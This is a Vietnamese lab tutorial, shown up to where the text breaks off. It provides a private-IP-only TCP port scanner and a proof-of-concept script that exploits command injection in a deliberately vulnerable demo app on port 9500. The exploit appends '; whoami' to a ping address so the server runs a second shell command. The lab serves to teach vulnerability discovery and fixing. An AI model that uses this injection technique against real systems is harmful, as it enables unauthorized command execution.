port_scan.py làm việc hẹp hơn lan_inventory.py ở bài 8: không tìm thiết bị trong cả dải mạng, chỉ thử kết nối TCP tới từng cổng của một IP đã biết, chạy song song bằng ThreadPoolExecutor cho nhanh — "mở" khi kết nối được, "đóng" khi bị từ chối, "im lặng" khi hết giờ chờ. Tạo file này ở Terminal B:

port_scan.py · Tải file vào thư mục vuln-lab, hoặc mở mã để sao chép vào trình soạn thảo.

↓ Tải port_scan.py
Xem mã Python · có tô màu và số dòng
PYTHON · port_scan.py
# port_scan.py - quét port TCP của MỘT thiết bị trong mạng của BẠN.
# Chỉ dùng thư viện có sẵn của Python 3.
# Chỉ chạy trên thiết bị của chính bạn hoặc nơi được cho phép.
# Chỉ nhận IP riêng (192.168.x.x, 10.x.x.x, 127.0.0.1...).
# Ví dụ: python3 port_scan.py 127.0.0.1            (quét các port phổ biến)
#        python3 port_scan.py 192.168.1.1 -p 1-1024
#        python3 port_scan.py 192.168.1.1 -p 22,80,443
import argparse
import ipaddress
import socket
import time
from concurrent.futures import ThreadPoolExecutor

COMMON = [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445, 554, 631, 993, 995, 1723, 3306, 3389,
          5000, 5900, 7000, 8000, 8008, 8080, 8443, 9100, 62078]
MAX_PORTS = 2000   # giới hạn số port mỗi lần quét, tránh gõ nhầm 1-65535 làm nghẽn máy


def parse_ports(text):
    # Đổi chuỗi người dùng gõ thành danh sách số port. Chấp nhận "22,80,443" hoặc
    # "1-1024" hoặc kết hợp "22,80,8000-8100"
    ports = set()
    for part in text.split(","):
        part = part.strip()
        if "-" in part:
            a, b = part.split("-", 1)
            ports.update(range(int(a), int(b) + 1))
        elif part:
            ports.add(int(part))
    if not ports or min(ports) < 1 or max(ports) > 65535:
        raise ValueError("port phai nam trong khoang 1-65535")
    return sorted(ports)


def probe(ip, port, timeout):
    # Thử "gõ cửa" một port bằng một kết nối TCP.
    # Ba kết quả có thể: open / closed / filtered.
    # [1] Tạo socket TCP (SOCK_STREAM: có bắt tay ba bước)
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        # [2] Chỉ chờ tối đa `timeout` giây; im lặng quá lâu thì ngắt, không để
        #     chương trình treo
        s.settimeout(timeout)
        try:
            # [3] Kết nối thành công = bắt tay xong = có dịch vụ đang nghe -> "open"
            s.connect((ip, port))
            return port, "open"
        except ConnectionRefusedError:
            return port, "closed"      # có người trả lời "không có dịch vụ ở đây" (gói RST) -> "closed"
        except (socket.timeout, OSError):
            return port, "filtered"    # im lặng hoặc không tới được: thường là tường lửa chặn -> "filtered"


def service_name(port):
    try:
        return socket.getservbyport(port, "tcp")
    except OSError:
        return "?"


def main():
    ap = argparse.ArgumentParser(description="Quet port TCP cua mot thiet bi trong mang cua ban")
    ap.add_argument("ip", help="IP rieng can quet, vi du 192.168.1.1 hoac 127.0.0.1")
    ap.add_argument("-p", "--ports", help="danh sach port, vi du 22,80,443 hoac 1-1024 (mac dinh: ~30 port pho bien)")
    ap.add_argument("--timeout", type=float, default=2.0, help="so giay cho moi port (mac dinh 2; router cham tra loi can timeout dai)")
    args = ap.parse_args()

    # [1] Phân tích chuỗi IP người dùng gõ (sai định dạng thì tự báo lỗi, dừng ngay)
    ip = ipaddress.ip_address(args.ip)
    # [2] Chốt chặn: chỉ nhận IP riêng hoặc 127.0.0.1; IP Internet bị từ chối ngay
    if not (ip.is_private or ip.is_loopback):
        raise SystemExit("Chi quet IP rieng (192.168.x.x, 10.x.x.x, 127.0.0.1...). Khong quet Internet.")
    # [3] Lấy danh sách port: người dùng gõ -p thì phân tích, không thì dùng bảng
    #     COMMON; gõ sai thì thoát kèm lý do
    try:
        ports = parse_ports(args.ports) if args.ports else COMMON
    except ValueError as e:
        raise SystemExit("Loi port: " + str(e))
    # [4] Giới hạn số port mỗi lần quét
    if len(ports) > MAX_PORTS:
        raise SystemExit(f"Toi da {MAX_PORTS} port moi lan. Ban nhap {len(ports)}.")

    print(f"Dang quet {ip} ({len(ports)} port), timeout {args.timeout}s moi port...")
    # [1] Ghi lại giờ bắt đầu để lát nữa tính xem quét mất bao lâu
    start = time.time()
    # [2] Tạo 100 luồng làm việc cùng lúc; mỗi luồng thử một port
    with ThreadPoolExecutor(max_workers=100) as pool:
        # [3] pool.map giao từng port cho một luồng đang rảnh, đợi tất cả xong rồi
        #     trả danh sách (port, trạng thái)
        results = list(pool.map(lambda p: probe(str(ip), p, args.timeout), ports))
    count = {"open": 0, "closed": 0, "filtered": 0}
    print("PORT    TRANG THAI  DICH VU")
    for port, state in results:
        count[state] += 1
        if state == "open":
            print(f"{port:<7} {state:<11} {service_name(port)}")
    print(f"\nmo: {count['open']}  dong: {count['closed']}  im lang (filtered): {count['filtered']}  "
          f"(xong sau {time.time() - start:.1f} giay)")


if __name__ == "__main__":
    main()
Tạo file bằng terminal · chọn hệ điều hành của bạn
MACOS: TẠO port_scan.py
cat > port_scan.py <<'EOF'
# port_scan.py - quét port TCP của MỘT thiết bị trong mạng của BẠN.
# Chỉ dùng thư viện có sẵn của Python 3.
# Chỉ chạy trên thiết bị của chính bạn hoặc nơi được cho phép.
# Chỉ nhận IP riêng (192.168.x.x, 10.x.x.x, 127.0.0.1...).
# Ví dụ: python3 port_scan.py 127.0.0.1            (quét các port phổ biến)
#        python3 port_scan.py 192.168.1.1 -p 1-1024
#        python3 port_scan.py 192.168.1.1 -p 22,80,443
import argparse
import ipaddress
import socket
import time
from concurrent.futures import ThreadPoolExecutor

COMMON = [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445, 554, 631, 993, 995, 1723, 3306, 3389,
          5000, 5900, 7000, 8000, 8008, 8080, 8443, 9100, 62078]
MAX_PORTS = 2000   # giới hạn số port mỗi lần quét, tránh gõ nhầm 1-65535 làm nghẽn máy


def parse_ports(text):
    # Đổi chuỗi người dùng gõ thành danh sách số port. Chấp nhận "22,80,443" hoặc
    # "1-1024" hoặc kết hợp "22,80,8000-8100"
    ports = set()
    for part in text.split(","):
        part = part.strip()
        if "-" in part:
            a, b = part.split("-", 1)
            ports.update(range(int(a), int(b) + 1))
        elif part:
            ports.add(int(part))
    if not ports or min(ports) < 1 or max(ports) > 65535:
        raise ValueError("port phai nam trong khoang 1-65535")
    return sorted(ports)


def probe(ip, port, timeout):
    # Thử "gõ cửa" một port bằng một kết nối TCP.
    # Ba kết quả có thể: open / closed / filtered.
    # [1] Tạo socket TCP (SOCK_STREAM: có bắt tay ba bước)
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        # [2] Chỉ chờ tối đa `timeout` giây; im lặng quá lâu thì ngắt, không để
        #     chương trình treo
        s.settimeout(timeout)
        try:
            # [3] Kết nối thành công = bắt tay xong = có dịch vụ đang nghe -> "open"
            s.connect((ip, port))
            return port, "open"
        except ConnectionRefusedError:
            return port, "closed"      # có người trả lời "không có dịch vụ ở đây" (gói RST) -> "closed"
        except (socket.timeout, OSError):
            return port, "filtered"    # im lặng hoặc không tới được: thường là tường lửa chặn -> "filtered"


def service_name(port):
    try:
        return socket.getservbyport(port, "tcp")
    except OSError:
        return "?"


def main():
    ap = argparse.ArgumentParser(description="Quet port TCP cua mot thiet bi trong mang cua ban")
    ap.add_argument("ip", help="IP rieng can quet, vi du 192.168.1.1 hoac 127.0.0.1")
    ap.add_argument("-p", "--ports", help="danh sach port, vi du 22,80,443 hoac 1-1024 (mac dinh: ~30 port pho bien)")
    ap.add_argument("--timeout", type=float, default=2.0, help="so giay cho moi port (mac dinh 2; router cham tra loi can timeout dai)")
    args = ap.parse_args()

    # [1] Phân tích chuỗi IP người dùng gõ (sai định dạng thì tự báo lỗi, dừng ngay)
    ip = ipaddress.ip_address(args.ip)
    # [2] Chốt chặn: chỉ nhận IP riêng hoặc 127.0.0.1; IP Internet bị từ chối ngay
    if not (ip.is_private or ip.is_loopback):
        raise SystemExit("Chi quet IP rieng (192.168.x.x, 10.x.x.x, 127.0.0.1...). Khong quet Internet.")
    # [3] Lấy danh sách port: người dùng gõ -p thì phân tích, không thì dùng bảng
    #     COMMON; gõ sai thì thoát kèm lý do
    try:
        ports = parse_ports(args.ports) if args.ports else COMMON
    except ValueError as e:
        raise SystemExit("Loi port: " + str(e))
    # [4] Giới hạn số port mỗi lần quét
    if len(ports) > MAX_PORTS:
        raise SystemExit(f"Toi da {MAX_PORTS} port moi lan. Ban nhap {len(ports)}.")

    print(f"Dang quet {ip} ({len(ports)} port), timeout {args.timeout}s moi port...")
    # [1] Ghi lại giờ bắt đầu để lát nữa tính xem quét mất bao lâu
    start = time.time()
    # [2] Tạo 100 luồng làm việc cùng lúc; mỗi luồng thử một port
    with ThreadPoolExecutor(max_workers=100) as pool:
        # [3] pool.map giao từng port cho một luồng đang rảnh, đợi tất cả xong rồi
        #     trả danh sách (port, trạng thái)
        results = list(pool.map(lambda p: probe(str(ip), p, args.timeout), ports))
    count = {"open": 0, "closed": 0, "filtered": 0}
    print("PORT    TRANG THAI  DICH VU")
    for port, state in results:
        count[state] += 1
        if state == "open":
            print(f"{port:<7} {state:<11} {service_name(port)}")
    print(f"\nmo: {count['open']}  dong: {count['closed']}  im lang (filtered): {count['filtered']}  "
          f"(xong sau {time.time() - start:.1f} giay)")


if __name__ == "__main__":
    main()
EOF
WINDOWS POWERSHELL: TẠO port_scan.py
@'
# port_scan.py - quét port TCP của MỘT thiết bị trong mạng của BẠN.
# Chỉ dùng thư viện có sẵn của Python 3.
# Chỉ chạy trên thiết bị của chính bạn hoặc nơi được cho phép.
# Chỉ nhận IP riêng (192.168.x.x, 10.x.x.x, 127.0.0.1...).
# Ví dụ: python3 port_scan.py 127.0.0.1            (quét các port phổ biến)
#        python3 port_scan.py 192.168.1.1 -p 1-1024
#        python3 port_scan.py 192.168.1.1 -p 22,80,443
import argparse
import ipaddress
import socket
import time
from concurrent.futures import ThreadPoolExecutor

COMMON = [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445, 554, 631, 993, 995, 1723, 3306, 3389,
          5000, 5900, 7000, 8000, 8008, 8080, 8443, 9100, 62078]
MAX_PORTS = 2000   # giới hạn số port mỗi lần quét, tránh gõ nhầm 1-65535 làm nghẽn máy


def parse_ports(text):
    # Đổi chuỗi người dùng gõ thành danh sách số port. Chấp nhận "22,80,443" hoặc
    # "1-1024" hoặc kết hợp "22,80,8000-8100"
    ports = set()
    for part in text.split(","):
        part = part.strip()
        if "-" in part:
            a, b = part.split("-", 1)
            ports.update(range(int(a), int(b) + 1))
        elif part:
            ports.add(int(part))
    if not ports or min(ports) < 1 or max(ports) > 65535:
        raise ValueError("port phai nam trong khoang 1-65535")
    return sorted(ports)


def probe(ip, port, timeout):
    # Thử "gõ cửa" một port bằng một kết nối TCP.
    # Ba kết quả có thể: open / closed / filtered.
    # [1] Tạo socket TCP (SOCK_STREAM: có bắt tay ba bước)
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        # [2] Chỉ chờ tối đa `timeout` giây; im lặng quá lâu thì ngắt, không để
        #     chương trình treo
        s.settimeout(timeout)
        try:
            # [3] Kết nối thành công = bắt tay xong = có dịch vụ đang nghe -> "open"
            s.connect((ip, port))
            return port, "open"
        except ConnectionRefusedError:
            return port, "closed"      # có người trả lời "không có dịch vụ ở đây" (gói RST) -> "closed"
        except (socket.timeout, OSError):
            return port, "filtered"    # im lặng hoặc không tới được: thường là tường lửa chặn -> "filtered"


def service_name(port):
    try:
        return socket.getservbyport(port, "tcp")
    except OSError:
        return "?"


def main():
    ap = argparse.ArgumentParser(description="Quet port TCP cua mot thiet bi trong mang cua ban")
    ap.add_argument("ip", help="IP rieng can quet, vi du 192.168.1.1 hoac 127.0.0.1")
    ap.add_argument("-p", "--ports", help="danh sach port, vi du 22,80,443 hoac 1-1024 (mac dinh: ~30 port pho bien)")
    ap.add_argument("--timeout", type=float, default=2.0, help="so giay cho moi port (mac dinh 2; router cham tra loi can timeout dai)")
    args = ap.parse_args()

    # [1] Phân tích chuỗi IP người dùng gõ (sai định dạng thì tự báo lỗi, dừng ngay)
    ip = ipaddress.ip_address(args.ip)
    # [2] Chốt chặn: chỉ nhận IP riêng hoặc 127.0.0.1; IP Internet bị từ chối ngay
    if not (ip.is_private or ip.is_loopback):
        raise SystemExit("Chi quet IP rieng (192.168.x.x, 10.x.x.x, 127.0.0.1...). Khong quet Internet.")
    # [3] Lấy danh sách port: người dùng gõ -p thì phân tích, không thì dùng bảng
    #     COMMON; gõ sai thì thoát kèm lý do
    try:
        ports = parse_ports(args.ports) if args.ports else COMMON
    except ValueError as e:
        raise SystemExit("Loi port: " + str(e))
    # [4] Giới hạn số port mỗi lần quét
    if len(ports) > MAX_PORTS:
        raise SystemExit(f"Toi da {MAX_PORTS} port moi lan. Ban nhap {len(ports)}.")

    print(f"Dang quet {ip} ({len(ports)} port), timeout {args.timeout}s moi port...")
    # [1] Ghi lại giờ bắt đầu để lát nữa tính xem quét mất bao lâu
    start = time.time()
    # [2] Tạo 100 luồng làm việc cùng lúc; mỗi luồng thử một port
    with ThreadPoolExecutor(max_workers=100) as pool:
        # [3] pool.map giao từng port cho một luồng đang rảnh, đợi tất cả xong rồi
        #     trả danh sách (port, trạng thái)
        results = list(pool.map(lambda p: probe(str(ip), p, args.timeout), ports))
    count = {"open": 0, "closed": 0, "filtered": 0}
    print("PORT    TRANG THAI  DICH VU")
    for port, state in results:
        count[state] += 1
        if state == "open":
            print(f"{port:<7} {state:<11} {service_name(port)}")
    print(f"\nmo: {count['open']}  dong: {count['closed']}  im lang (filtered): {count['filtered']}  "
          f"(xong sau {time.time() - start:.1f} giay)")


if __name__ == "__main__":
    main()
'@ | Set-Content -Path port_scan.py -Encoding ascii
LINUX: TẠO port_scan.py
cat > port_scan.py <<'EOF'
# port_scan.py - quét port TCP của MỘT thiết bị trong mạng của BẠN.
# Chỉ dùng thư viện có sẵn của Python 3.
# Chỉ chạy trên thiết bị của chính bạn hoặc nơi được cho phép.
# Chỉ nhận IP riêng (192.168.x.x, 10.x.x.x, 127.0.0.1...).
# Ví dụ: python3 port_scan.py 127.0.0.1            (quét các port phổ biến)
#        python3 port_scan.py 192.168.1.1 -p 1-1024
#        python3 port_scan.py 192.168.1.1 -p 22,80,443
import argparse
import ipaddress
import socket
import time
from concurrent.futures import ThreadPoolExecutor

COMMON = [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445, 554, 631, 993, 995, 1723, 3306, 3389,
          5000, 5900, 7000, 8000, 8008, 8080, 8443, 9100, 62078]
MAX_PORTS = 2000   # giới hạn số port mỗi lần quét, tránh gõ nhầm 1-65535 làm nghẽn máy


def parse_ports(text):
    # Đổi chuỗi người dùng gõ thành danh sách số port. Chấp nhận "22,80,443" hoặc
    # "1-1024" hoặc kết hợp "22,80,8000-8100"
    ports = set()
    for part in text.split(","):
        part = part.strip()
        if "-" in part:
            a, b = part.split("-", 1)
            ports.update(range(int(a), int(b) + 1))
        elif part:
            ports.add(int(part))
    if not ports or min(ports) < 1 or max(ports) > 65535:
        raise ValueError("port phai nam trong khoang 1-65535")
    return sorted(ports)


def probe(ip, port, timeout):
    # Thử "gõ cửa" một port bằng một kết nối TCP.
    # Ba kết quả có thể: open / closed / filtered.
    # [1] Tạo socket TCP (SOCK_STREAM: có bắt tay ba bước)
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        # [2] Chỉ chờ tối đa `timeout` giây; im lặng quá lâu thì ngắt, không để
        #     chương trình treo
        s.settimeout(timeout)
        try:
            # [3] Kết nối thành công = bắt tay xong = có dịch vụ đang nghe -> "open"
            s.connect((ip, port))
            return port, "open"
        except ConnectionRefusedError:
            return port, "closed"      # có người trả lời "không có dịch vụ ở đây" (gói RST) -> "closed"
        except (socket.timeout, OSError):
            return port, "filtered"    # im lặng hoặc không tới được: thường là tường lửa chặn -> "filtered"


def service_name(port):
    try:
        return socket.getservbyport(port, "tcp")
    except OSError:
        return "?"


def main():
    ap = argparse.ArgumentParser(description="Quet port TCP cua mot thiet bi trong mang cua ban")
    ap.add_argument("ip", help="IP rieng can quet, vi du 192.168.1.1 hoac 127.0.0.1")
    ap.add_argument("-p", "--ports", help="danh sach port, vi du 22,80,443 hoac 1-1024 (mac dinh: ~30 port pho bien)")
    ap.add_argument("--timeout", type=float, default=2.0, help="so giay cho moi port (mac dinh 2; router cham tra loi can timeout dai)")
    args = ap.parse_args()

    # [1] Phân tích chuỗi IP người dùng gõ (sai định dạng thì tự báo lỗi, dừng ngay)
    ip = ipaddress.ip_address(args.ip)
    # [2] Chốt chặn: chỉ nhận IP riêng hoặc 127.0.0.1; IP Internet bị từ chối ngay
    if not (ip.is_private or ip.is_loopback):
        raise SystemExit("Chi quet IP rieng (192.168.x.x, 10.x.x.x, 127.0.0.1...). Khong quet Internet.")
    # [3] Lấy danh sách port: người dùng gõ -p thì phân tích, không thì dùng bảng
    #     COMMON; gõ sai thì thoát kèm lý do
    try:
        ports = parse_ports(args.ports) if args.ports else COMMON
    except ValueError as e:
        raise SystemExit("Loi port: " + str(e))
    # [4] Giới hạn số port mỗi lần quét
    if len(ports) > MAX_PORTS:
        raise SystemExit(f"Toi da {MAX_PORTS} port moi lan. Ban nhap {len(ports)}.")

    print(f"Dang quet {ip} ({len(ports)} port), timeout {args.timeout}s moi port...")
    # [1] Ghi lại giờ bắt đầu để lát nữa tính xem quét mất bao lâu
    start = time.time()
    # [2] Tạo 100 luồng làm việc cùng lúc; mỗi luồng thử một port
    with ThreadPoolExecutor(max_workers=100) as pool:
        # [3] pool.map giao từng port cho một luồng đang rảnh, đợi tất cả xong rồi
        #     trả danh sách (port, trạng thái)
        results = list(pool.map(lambda p: probe(str(ip), p, args.timeout), ports))
    count = {"open": 0, "closed": 0, "filtered": 0}
    print("PORT    TRANG THAI  DICH VU")
    for port, state in results:
        count[state] += 1
        if state == "open":
            print(f"{port:<7} {state:<11} {service_name(port)}")
    print(f"\nmo: {count['open']}  dong: {count['closed']}  im lang (filtered): {count['filtered']}  "
          f"(xong sau {time.time() - start:.1f} giay)")


if __name__ == "__main__":
    main()
EOF

Dùng để xem cổng 9500 có mở không, trước khi biết nó là dịch vụ gì:

MACOS
python3 port_scan.py 127.0.0.1 -p 9500
WINDOWS
py port_scan.py 127.0.0.1 -p 9500
LINUX
python3 port_scan.py 127.0.0.1 -p 9500
KẾT QUẢ
Dang quet 127.0.0.1 (1 port), timeout 2.0s moi port...
PORT    TRANG THAI  DICH VU
9500    open        ?

mo: 1  dong: 0  im lang (filtered): 0

Biết được: có một dịch vụ ở cổng 9500. Chưa biết: dịch vụ đó an toàn hay không. Việc đó cần thử bằng dữ liệu.

BƯỚC 2Tạo exploit_poc.py ở Terminal B

"PoC" (proof of concept) nghĩa là bằng chứng chứng minh: chạy một lệnh vô hại (whoami, chỉ in tên người dùng) để chứng minh lỗi tồn tại, không làm gì gây hại.

exploit_poc.py · Tải file vào thư mục vuln-lab, hoặc mở mã để sao chép vào trình soạn thảo.

↓ Tải exploit_poc.py
Xem mã Python · có tô màu và số dòng
PYTHON · exploit_poc.py
#!/usr/bin/env python3
"""
exploit_poc.py - chung minh (PoC) loi command injection cua vuln_app.py
=========================================================================
Chi dung voi ung dung demo vuln_app.py, tren may/mang CUA BAN, da duoc phep.

Gui mot "dia chi" gia dang hop le nhung co gan them lenh thu hai bang dau
";" de HomeLand Controller (ban co loi) chay luon lenh do. PoC nay CHI in
ra ket qua cua 1 lenh vo hai (whoami/id) de chung minh code thuc thi duoc -
khong cai cai gi vao may nan nhan, khong mo cua sau, khong lay du lieu.
"""
import argparse
import socket


def send(host, port, line):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(5)
        s.connect((host, port))
        s.sendall(line.encode())
        chunks = []
        while True:
            chunk = s.recv(8192)
            if not chunk:
                break
            chunks.append(chunk)
        return b"".join(chunks).decode("utf-8", "replace")


def main():
    ap = argparse.ArgumentParser(description="PoC: chung minh command injection tren vuln_app.py")
    ap.add_argument("host", help="IP cua may dang chay vuln_app.py (vi du 127.0.0.1)")
    ap.add_argument("--port", type=int, default=9500)
    ap.add_argument("--server-os", choices=["posix", "windows"], default="posix",
                    help="he dieu hanh SERVER: posix (macOS/Linux) hoac windows")
    args = ap.parse_args()

    try:
        print("1) Dung dung (du doan): gui PING binh thuong")
        print(send(args.host, args.port, f"PING {args.host}\n"))

        separator = "&" if args.server_os == "windows" else ";"
        print(f"2) KHAI THAC: gan lenh whoami bang dau {separator!r} (server {args.server_os})")
        payload = f"PING 127.0.0.1{separator} echo ---LENH-THU-HAI-DA-CHAY---{separator} whoami\n"
        print("   Du lieu gui di:", payload.strip())
        reply = send(args.host, args.port, payload)
        print(reply)
    except ConnectionRefusedError:
        raise SystemExit(
            f"LOI: {args.host}:{args.port} tu choi ket noi.\n"
            "Nguyen nhan thuong gap: chua chay vuln_app.py (hoac vuln_app_fixed.py) o may do,\n"
            "hoac quen them --lan khi chay tren may khac voi may dang go lenh nay.")
    except (TimeoutError, socket.timeout):
        # Truoc Python 3.10, socket.timeout KHONG phai TimeoutError nen phai bat ca hai.
        raise SystemExit(
            f"LOI: khong ket noi duoc toi {args.host}:{args.port} sau 5 giay (timed out).\n"
            "Nguyen nhan thuong gap: hai may dang o hai mang khac nhau (kiem tra cung ten Wi-Fi),\n"
            "mang khach dang cach ly thiet bi (AP isolation, xem bai 8), hoac firewall cua may do\n"
            "dang chan im lang (xem bai giang: hop thoai 'Allow incoming connections' tren macOS,\n"
            "Windows Defender Firewall tren Windows).")
    except OSError as e:
        raise SystemExit(f"LOI mang: {e}\nKiem tra lai dia chi IP va cong, va ca hai may cung mang.")

    # Luu y: ban DA SUA se echo lai dung chuoi bi tu choi (chua ca chu danh
    # dau), nen phai loai truong hop do truoc khi ket luan "da khai thac".
    if "TU CHOI" in reply or reply.startswith("LOI"):
        print(">>> KET LUAN: server TU CHOI chay, khong co lenh thu hai nao duoc thuc thi.")
        print(">>> Dau vao da duoc kiem tra (allowlist IPv4) truoc khi dua vao subprocess.")
    elif "---LENH-THU-HAI-DA-CHAY---" in [line.strip() for line in reply.splitlines()]:
        print(">>> KET LUAN: ung dung da chay ca lenh 'whoami' ngoai y dinh.")
        print(">>> Day la command injection: server ghep chuoi nguoi dung vao shell.")
    else:
        print(">>> Khong ro ket qua, kiem tra lai log server.")


if __name__ == "__main__":
    main()
Tạo file bằng terminal · chọn hệ điều hành của bạn
MACOS: TẠO exploit_poc.py
cat > exploit_poc.py <<'EOF'
#!/usr/bin/env python3
"""
exploit_poc.py - chung minh (PoC) loi command injection cua vuln_app.py
=========================================================================
Chi dung voi ung dung demo vuln_app.py, tren may/mang CUA BAN, da duoc phep.

Gui mot "dia chi" gia dang hop le nhung co gan them lenh thu hai bang dau
";" de HomeLand Controller (ban co loi) chay luon lenh do. PoC nay CHI in
ra ket qua cua 1 lenh vo hai (whoami/id) de chung minh code thuc thi duoc -
khong cai cai gi vao may nan nhan, khong mo cua sau, khong lay du lieu.
"""
import argparse
import socket


def send(host, port, line):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(5)
        s.connect((host, port))
        s.sendall(line.encode())
        chunks = []
        while True:
            chunk = s.recv(8192)
            if not chunk:
                break
            chunks.append(chunk)
        return b"".join(chunks).decode("utf-8", "replace")


def main():
    ap = argparse.ArgumentParser(description="PoC: chung minh command injection tren vuln_app.py")
    ap.add_argument("host", help="IP cua may dang chay vuln_app.py (vi du 127.0.0.1)")
    ap.add_argument("--port", type=int, default=9500)
    ap.add_argument("--server-os", choices=["posix", "windows"], default="posix",
                    help="he dieu hanh SERVER: posix (macOS/Linux) hoac windows")
    args = ap.parse_args()

    try:
        print("1) Dung dung (du doan): gui PING binh thuong")
        print(send(args.host, args.port, f"PING {args.host}\n"))

        separator = "&" if args.server_os == "windows" else ";"
        print(f"2) KHAI THAC: gan lenh whoami bang dau {separator!r} (server {args.server_os})")
        payload = f"PING 127.0.0.1{separator} echo ---LENH-THU-HAI-DA-CHAY---{separator} whoami\n"
        print("   Du lieu gui di:", payload.strip())
        reply = send(args.host, args.port, payload)
        print(reply)
    except ConnectionRefusedError:
        raise SystemExit(
            f"LOI: {args.host}:{args.port} tu choi ket noi.\n"
            "Nguyen nhan thuong gap: chua chay vuln_app.py (hoac vuln_app_fixed.py) o may do,\n"
            "hoac quen them --lan khi chay tren may khac voi may dang go lenh nay.")
    except (TimeoutError, socket.timeout):
        # Truoc Python 3.10, socket.timeout KHONG phai TimeoutError nen phai bat ca hai.
        raise SystemExit(
            f"LOI: khong ket noi duoc toi {args.host}:{args.port} sau 5 giay (timed out).\n"
            "Nguyen nhan thuong gap: hai may dang o hai mang khac nhau (kiem tra cung ten Wi-Fi),\n"
            "mang khach dang cach ly thiet bi (AP isolation, xem bai 8), hoac firewall cua may do\n"
            "dang chan im lang (xem bai giang: hop thoai 'Allow incoming connections' tren macOS,\n"
            "Windows Defender Firewall tren Windows).")
    except OSError as e:
        raise SystemExit(f"LOI mang: {e}\nKiem tra lai dia chi IP va cong, va ca hai may cung mang.")

    # Luu y: ban DA SUA se echo lai dung chuoi bi tu choi (chua ca chu danh
    # dau), nen phai loai truong hop do truoc khi ket luan "da khai thac".
    if "TU CHOI" in reply or reply.startswith("LOI"):
        print(">>> KET LUAN: server TU CHOI chay, khong co lenh thu hai nao duoc thuc thi.")
        print(">>> Dau vao da duoc kiem tra (allowlist IPv4) truoc khi dua vao subprocess.")
    elif "---LENH-THU-HAI-DA-CHAY---" in [line.strip() for line in reply.splitlines()]:
        print(">>> KET LUAN: ung dung da chay ca lenh 'whoami' ngoai y dinh.")
        print(">>> Day la command injection: server ghep chuoi nguoi dung vao shell.")
    else:
        print(">>> Khong ro ket qua, kiem tra lai log server.")


if __name__ == "__main__":
    main()
EOF
WINDOWS POWERSHELL: TẠO exploit_poc.py
@'
#!/usr/bin/env python3
"""
exploit_poc.py - chung minh (PoC) loi command injection cua vuln_app.py
=========================================================================
Chi dung voi ung dung demo vuln_app.py, tren may/mang CUA BAN, da duoc phep.

Gui mot "dia chi" gia dang hop le nhung co gan them lenh thu hai bang dau
";" de HomeLand Controller (ban co loi) chay luon lenh do. PoC nay CHI in
ra ket qua cua 1 lenh vo hai (whoami/id) de chung minh code thuc thi duoc -
khong cai cai gi vao may nan nhan, khong mo cua sau, khong lay du lieu.
"""
import argparse
import socket


def send(host, port, line):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(5)
        s.connect((host, port))
        s.sendall(line.encode())
        chunks = []
        while True:
            chunk = s.recv(8192)
            if not chunk:
                break
            chunks.append(chunk)
        return b"".join(chunks).decode("utf-8", "replace")


def main():
    ap = argparse.ArgumentParser(description="PoC: chung minh command injection tren vuln_app.py")
    ap.add_argument("host", help="IP cua may dang chay vuln_app.py (vi du 127.0.0.1)")
    ap.add_argument("--port", type=int, default=9500)
    ap.add_argument("--server-os", choices=["posix", "windows"], default="posix",
                    help="he dieu hanh SERVER: posix (macOS/Linux) hoac windows")
    args = ap.parse_args()

    try:
        print("1) Dung dung (du doan): gui PING binh thuong")
        print(send(args.host, args.port, f"PING {args.host}\n"))

        separator = "&" if args.server_os == "windows" else ";"
        print(f"2) KHAI THAC: gan lenh whoami bang dau {separator!r} (server {args.server_os})")
        payload = f"PING 127.0.0.1{separator} echo ---LENH-THU-HAI-DA-CHAY---{separator} whoami\n"
        print("   Du lieu gui di:", payload.strip())
        reply = send(args.host, args.port, payload)
        print(reply)
    except ConnectionRefusedError:
        raise SystemExit(
            f"LOI: {args.host}:{args.port} tu choi ket noi.\n"
            "Nguyen nhan thuong gap: chua chay vuln_app.py (hoac vuln_app_fixed.py) o may do,\n"
            "hoac quen them --lan khi chay tren may khac voi may dang go lenh nay.")
    except (TimeoutError, socket.timeout):
        # Truoc Python 3.10, socket.timeout KHONG phai TimeoutError nen phai bat ca hai.
        raise SystemExit(
            f"LOI: khong ket noi duoc toi {args.host}:{args.port} sau 5 giay (timed out).\n"
            "Nguyen nhan thuong gap: hai may dang o hai mang khac nhau (kiem tra cung ten Wi-Fi),\n"
            "mang khach dang cach ly thiet bi (AP isolation, xem bai 8), hoac firewall cua may do\n"
            "dang chan im lang (xem bai giang: hop thoai 'Allow incoming connections' tren macOS,\n"
            "Windows Defender Firewall tren Windows).")
    except OSError as e:
        raise SystemExit(f"LOI mang: {e}\nKiem tra lai dia chi IP va cong, va ca hai may cung mang.")

    # Luu y: ban DA SUA se echo lai dung chuoi bi tu choi (chua ca chu danh
    # dau), nen phai loai truong hop do truoc khi ket luan "da khai thac".
    if "TU CHOI" in reply or reply.startswith("LOI"):
        print(">>> KET LUAN: server TU CHOI chay, khong co lenh thu hai nao duoc thuc thi.")
        print(">>> Dau vao da duoc kiem tra (allowlist IPv4) truoc khi dua vao subprocess.")
    elif "---LENH-THU-HAI-DA-CHAY---" in [line.strip() for line in reply.splitlines()]:
        print(">>> KET LUAN: ung dung da chay ca lenh 'whoami' ngoai y dinh.")
        print(">>> Day la command injection: server ghep chuoi nguoi dung vao shell.")
    else:
        print(">>> Khong ro ket qua, kiem tra lai log server.")


if __name__ == "__main__":
    main()
'@ | Set-Content -Path exploit_poc.py -Encoding ascii
LINUX: TẠO exploit_poc.py
cat > exploit_poc.py <<'EOF'
#!/usr/bin/env python3
"""
exploit_poc.py - chung minh (PoC) loi command injection cua vuln_app.py
=========================================================================
Chi dung voi ung dung demo vuln_app.py, tren may/mang CUA BAN, da duoc phep.

Gui mot "dia chi" gia dang hop le nhung co gan them lenh thu hai bang dau
";" de HomeLand Controller (ban co loi) chay luon lenh do. PoC nay CHI in
ra ket qua cua 1 lenh vo hai (whoami/id) de chung minh code thuc thi duoc -
